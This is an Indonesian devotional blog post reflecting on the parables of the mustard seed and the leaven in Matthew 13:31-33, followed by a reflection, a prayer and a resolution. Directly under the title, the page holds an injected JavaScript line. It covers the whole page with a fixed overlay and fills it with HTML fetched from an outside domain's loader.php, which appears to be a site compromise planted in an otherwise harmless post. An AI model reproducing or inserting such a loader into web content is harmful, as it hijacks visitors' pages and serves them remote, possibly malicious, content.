HAKEKAT PERTUMBUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Jumat, 28 Juli 2023

Matius 13 : 31 – 33

Pengantar

Di kalangan orang Kristen biji sesawi tentu bukanlah istilah yang asing, meskipun tidak banyak orang Kristen yang sudah melihat secara langsung biji sesawi itu. Perenungan kita hari ini juga terkait dengan biji sesawi yang digunakan Kristus untuk menggambarkan tentang kerajaan Sorga. Mari kita renungkan bersama.

Pemahaman

ay. 31-32 : Dalam hal apakah biji sesawi itu dapat menggambarkan Kerajaan Sorga?

ay. 32-33 : Apakah persamaan antara biji sesawi dengan ragi?

Dalam perumpamaan kali ini, Kristus menggunakan biji sesawi untuk menggambarkan Kerajaan Sorga. Matius dengan sengaja menempatkan perumpamaan biji sesawi dengan ragi untuk menunjukkan dampak yang dapat ditimbulkan setelah keduanya berproses dan berkembang. Dalam perumpamaan tentang ragi, Kristus mengajarkan meski ragi itu sedikit, dapat mempengaruhi tepung terigu yang jumlahnya sangat jauh lebih banyak. Satu sukat itu setara dengan 12 sampai dengan 13 liter. Jadi kalau 3 sukat berarti ragi yang sedikit itu sudah dapat mempengaruhi 36 sampai dengan 39 liter tepung terigu. Jika 1 liter sama dengan 0,529 kg, maka berat tepung itu sekitar 19,044 sampai dengan 20,631 kilo.

Begitu pula halnya dengan biji sesawi. Meski ia biji yang paling kecil dari segala jenis benih, tetapi ketika sudah tumbuh ia lebih besar dari pada sayuran yang lain. Namun ada satu hal yang menarik dalam perumpamaan biji sesawi ini, yaitu pernyataan “burung- burung di udara datang bersarang pada cabang-cabangnya” (ay. 32). Sebab dalam perumpamaan sebelumnya sosok burung itu merupakan gambaran kuasa gelap. Dalam perumpamaan tentang seorang penabur (Mat. 13:3-23), burung memakan habis benih yang jatuh di pinggir jalan (Mat. 13:4, 19). Sementara itu di dalam Perjanjian Lama sosok burung dihubungkan dengan tipu muslihat (Yer. 5:26-27). Lalu di dalam Wahyu 18:2, burung dikaitkan dengan kenajisan. Akan tetapi di perumpamaan biji sesawi ini burung malah menjadi sosok yang mendapat naungan dalam Kerajaan Sorga yang sudah bertumbuh. Bila kita konsisten dengan gambaran burung sebagai sosok yang jahat, maka itu berarti Kerajaan Sorga yang sudah bertumbuh akan menjadi naungan semua pihak, termasuk si jahat sekalipun.

Refleksi                                                                 

Ketika kita berbicara tentang pertumbuhan Kerajaan Sorga, seringkali kita terpaku dan bangga dengan perkembangan Kerajaan Sorga yang menjadi semakin besar, misalnya saja perkembangan gereja yang semakin besar. Akan tetapi pernahkah kita melihat kebesaran Kerajaan Sorga itu dari sudut dapat menjadi naungan bagi seorang penjahat sekalipun?

Tekadku                                                                 

Doa: Bapa surgawi, tolong saya untuk melihat pertumbuhan ini bukan dari sudut kemegahan lahiriah semata, tetapi juga dari sudut semakin menjadi perteduhan bagi seorang penjahat sekalipun, amin.

Tindakanku                                                            

Saya akan belajar semakin membuka diri terhadap orang-orang yang selama ini saya anggap jahat atau melukai hati saya.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *